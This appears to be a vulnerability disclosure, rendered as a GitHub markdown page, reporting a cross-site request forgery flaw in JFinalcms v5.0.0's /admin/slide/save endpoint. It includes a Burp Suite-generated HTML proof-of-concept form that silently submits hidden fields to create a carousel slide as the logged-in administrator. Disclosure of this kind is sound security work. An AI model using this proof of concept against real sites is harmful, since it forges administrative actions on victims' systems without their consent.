Skip to content

Latest commit

 

History

History
38 lines (27 loc) · 1.3 KB

There is a CSRF present at the new location of the rotation image.md

File metadata and controls

38 lines (27 loc) · 1.3 KB

target:https://gitee.com/heyewei/JFinalcms

version:v5.0.0

JFinalcms v5.0.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /admin/slide/save

image

image

create poc:

image

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8888/admin/slide/save" method="POST">
      <input type="hidden" name="gid" value="" />
      <input type="hidden" name="image" value="&#47;static&#47;upload&#47;e2742cf5&#45;ea48&#45;4747&#45;b4b5&#45;d5961e671634&#46;jpg" />
      <input type="hidden" name="file" value="" />
      <input type="hidden" name="url" value="cs" />
      <input type="hidden" name="title" value="cs" />
      <input type="hidden" name="subtitle" value="cs" />
      <input type="hidden" name="sort" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

successed

image